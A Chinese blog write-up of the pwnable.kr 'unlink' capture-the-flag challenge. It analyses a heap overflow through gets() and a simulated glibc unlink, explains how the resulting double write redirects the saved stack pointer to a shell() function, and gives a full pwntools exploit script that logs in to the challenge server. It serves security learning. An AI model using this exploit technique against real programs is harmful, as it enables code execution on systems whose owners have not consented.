pwnable.kr之unlink

之前在看别的东西,学习的随笔也没有写完......颓了几天。

由于最近在看堆,就把pwnable.kr上unlink这道题做一下,学习一下。

1.程序分析

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ; void shell(){
system("/bin/sh");
} void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B; printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf); // exploit this unlink!
unlink(B);
return 0;
}

给出的源码如下。程序实现了一个结构体,指针域是两个指针,数据域是一个8字节大小的字符数组,其实就是模拟了一个chunk块,后面的unlink函数模拟了早期glibc中unlink函数解链表的形式。

程序的结尾有一个gets函数,向结构体A的buf中填充数据,可以看到这里对输入数据的大小没有做检查,所以存在堆溢出,我们应该可以覆盖B结构体的fd指针和bk指针。

这里泄露出了A在栈中的地址,以及A的堆地址。

gdb中调试一下,在输入‘abcd’之后,断点设在unlink函数中,A->buf地址保留在eax寄存器中,查看堆布局如下:

0x804b5b0是结构体A的首地址,可以看到,A的bk指针指向B,C的fd指针指向B。

unlink实现的功能其实入下:

P->fd->bk=P->bk
P->bk->fd=P->fd

覆盖B的bk和fd指针,可以进行两次任意写。IDA中伪代码如下:

   0x8048539 <main+10>:    push   ebp
0x804853a <main+11>: mov ebp,esp
0x804853c <main+13>: push ecx
=> 0x804853d <main+14>: sub esp,0x14
0x8048540 <main+17>: sub esp,0xc
0x8048543 <main+20>: push 0x400
0x8048548 <main+25>: call 0x80483a0 <malloc@plt>
0x804854d <main+30>: add esp,0x10
0x8048550 <main+33>: sub esp,0xc
0x8048553 <main+36>: push 0x10
0x8048555 <main+38>: call 0x80483a0 <malloc@plt>
0x804855a <main+43>: add esp,0x10
0x804855d <main+46>: mov DWORD PTR [ebp-0x14],eax
0x8048560 <main+49>: sub esp,0xc
0x8048563 <main+52>: push 0x10
0x8048565 <main+54>: call 0x80483a0 <malloc@plt>
0x804856a <main+59>: add esp,0x10
0x804856d <main+62>: mov DWORD PTR [ebp-0xc],eax
0x8048570 <main+65>: sub esp,0xc
0x8048573 <main+68>: push 0x10
0x8048575 <main+70>: call 0x80483a0 <malloc@plt>
0x804857a <main+75>: add esp,0x10
0x804857d <main+78>: mov DWORD PTR [ebp-0x10],eax
0x8048580 <main+81>: mov eax,DWORD PTR [ebp-0x14]
0x8048583 <main+84>: mov edx,DWORD PTR [ebp-0xc]
0x8048586 <main+87>: mov DWORD PTR [eax],edx
0x8048588 <main+89>: mov edx,DWORD PTR [ebp-0x14]
0x804858b <main+92>: mov eax,DWORD PTR [ebp-0xc]
0x804858e <main+95>: mov DWORD PTR [eax+0x4],edx
0x8048591 <main+98>: mov eax,DWORD PTR [ebp-0xc]
0x8048594 <main+101>: mov edx,DWORD PTR [ebp-0x10]
0x8048597 <main+104>: mov DWORD PTR [eax],edx
0x8048599 <main+106>: mov eax,DWORD PTR [ebp-0x10]
0x804859c <main+109>: mov edx,DWORD PTR [ebp-0xc]
0x804859f <main+112>: mov DWORD PTR [eax+0x4],edx
0x80485a2 <main+115>: sub esp,0x8
0x80485a5 <main+118>: lea eax,[ebp-0x14]
0x80485a8 <main+121>: push eax
0x80485a9 <main+122>: push 0x8048698
0x80485ae <main+127>: call 0x8048380 <printf@plt>
0x80485b3 <main+132>: add esp,0x10
0x80485b6 <main+135>: mov eax,DWORD PTR [ebp-0x14]
0x80485b9 <main+138>: sub esp,0x8
0x80485bc <main+141>: push eax
0x80485bd <main+142>: push 0x80486b8
0x80485c2 <main+147>: call 0x8048380 <printf@plt>
0x80485c7 <main+152>: add esp,0x10
0x80485ca <main+155>: sub esp,0xc
0x80485cd <main+158>: push 0x80486d8
0x80485d2 <main+163>: call 0x80483b0 <puts@plt>
0x80485d7 <main+168>: add esp,0x10
0x80485da <main+171>: mov eax,DWORD PTR [ebp-0x14]
0x80485dd <main+174>: add eax,0x8
0x80485e0 <main+177>: sub esp,0xc
0x80485e3 <main+180>: push eax
0x80485e4 <main+181>: call 0x8048390 <gets@plt>
0x80485e9 <main+186>: add esp,0x10
0x80485ec <main+189>: sub esp,0xc
0x80485ef <main+192>: push DWORD PTR [ebp-0xc]
0x80485f2 <main+195>: call 0x8048504 <unlink>
0x80485f7 <main+200>: add esp,0x10
0x80485fa <main+203>: mov eax,0x0
0x80485ff <main+208>: mov ecx,DWORD PTR [ebp-0x4]
0x8048602 <main+211>: leave
0x8048603 <main+212>: lea esp,[ecx-0x4]
0x8048606 <main+215>: ret

主函数汇编代码如下。最后是把ecx-0x4=ebp-0x8地址处的值赋给了esp寄存器,ret把esp的值pop给eip寄存器。我们想要get shell,就要跳转到shell函数中,所以这里就要通过控制栈里的值来控制eip寄存器的值。

A,B,C结构体地址在栈中的布局如下所示:

我们要把shell函数的地址填充到ebp_0x8函数的地址处,也就是&A+0x12处。&A的地址,题目已经给我们了。

所以这里主要的问题就是如何填充堆空间了,再来理解一下unlink函数实现的功能:

假设我们把B的bk指针覆盖为“####”,fd指针覆盖为"$$$$",unlink函数就实现了一下功能:

BK=*(B+4)=####,把“####”赋给BK

FD=*(B)=$$$$,把“$$$$”赋给FD

FD->bk=BK=*($$$$+4)="####",就是把“####”写入地址“$$$$+4”处

BK->fd=*(####)="$$$$",就是把“$$$$”写入地址“####”处

   0x80485ff <main+208>:    mov    ecx,DWORD PTR [ebp-0x4]
0x8048602 <main+211>: leave
0x8048603 <main+212>: lea esp,[ecx-0x4]
0x8048606 <main+215>: ret

我们把ecx-4指向的地址处的值,要覆盖为&shell_addr+4。

exp如下:

from pwn import *

context.log_level="debug"
DEBUG=0
if DEBUG:
io=process('./unlink')
else:
sh=ssh(host='pwnable.kr',port=2222,user='unlink',password='guest')
io=sh.run("./unlink") elf=ELF('./unlink')
shell_addr=0x080484EC io.recvuntil("here is stack address leak: ")
leak_stack=int(io.recv(10),16)
print("stack_addr:{}".format(hex(leak_stack)))
io.recvuntil("here is heap address leak: ")
leak_heap=int(io.recv(10),16)
print("heap_addr:{}".format(hex(leak_heap)))
io.recvline() ebp_addr=leak_stack+0x14
ecx_addr=ebp_addr-0x4
padding='a'*8 payload=p32(shell_addr)+'a'*4+padding+p32(leak_heap+12)+p32(ebp_addr-4)
io.send(payload)
io.interactive()

pwnable.kr之unlink的更多相关文章

  1. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  2. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  3. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  4. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  5. pwnable.kr brainfuck之write up

    I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...

  6. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  7. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

  8. pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目 ...

  9. pwnable.kr第二天

    3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...

随机推荐

  1. Linux中su和sudo的用法

    su -#su - oldboy //当执行这个命令的时候表示切换到oldboy用户,并且重新读取用户环境相关配置文件,具体的来说就是执行下用户家目录下.bash_profile和.bashrc文件, ...

  2. 01 JumpServer安装

    1.0.环境说明: 操作系统类型 主机名称 用户及密码 角色 eth0(Vmnet8) eth1(Vmnet1) 防火墙状态 selinux centos7.4 controlnode root:12 ...

  3. Redis的并发竞争问题,你用哪些方案来解决?

    Redis的并发竞争问题,主要是发生在并发写竞争. 考虑到redis没有像db中的sql语句,update val = val + 10 where ...,无法使用这种方式进行对数据的更新. 假如有 ...

  4. 微信app支付,完整流程,完整代码 (转)

    微信app支付流程 需要的配置参数 private function wechat($body,$indent_id,$cou,$user_id,$total_fee,$ip,$domain,$non ...

  5. Spring cloud中相关的工具和库

    spring:      是一个轻量级控制反转(IoC)和面向切面(AOP)的容器框架. spring mvc:                   spring集成的mvc开发框架. spring ...

  6. npm run start失败&Node.js 查询指定端口运行情况及终止占用端口办法

    缘由: node.js项目中运行npm run start命令脚本报错,No such file or directory 最开始以为是命令脚本找不到所谓的执行路径,但后面发现不是,是package. ...

  7. 「CF505E」 Mr. Kitayuta vs. Bamboos

    「CF505E」 Mr. Kitayuta vs. Bamboos 传送门 如果没有每轮只能进行 \(k\) 次修改的限制或者没有竹子长度必须大于 \(0\) 的限制那么直接贪心就完事了. 但是很遗憾 ...

  8. 虚拟局域网VLAN简介

    VLAN 1.根据端口划分VLAN 2.根据MAC地址划分VLAN 3.根据网络层划分VLAN 4. IP组播作为VLAN VLAN优点 1.减少移动和改变的代价 2.虚拟工作组 3.限制广播包 4. ...

  9. C语言:3个数排序

    #include <stdio.h> int main() { int a,b,c,t; /*定义4个基本整型变量a.b.c.t*/ printf("Please input a ...

  10. PYTHON 连接SQL2008 导出到EXCEL

    #import pymssql from datetime import datetime import pyodbc import os current_dir = os.path.abspath( ...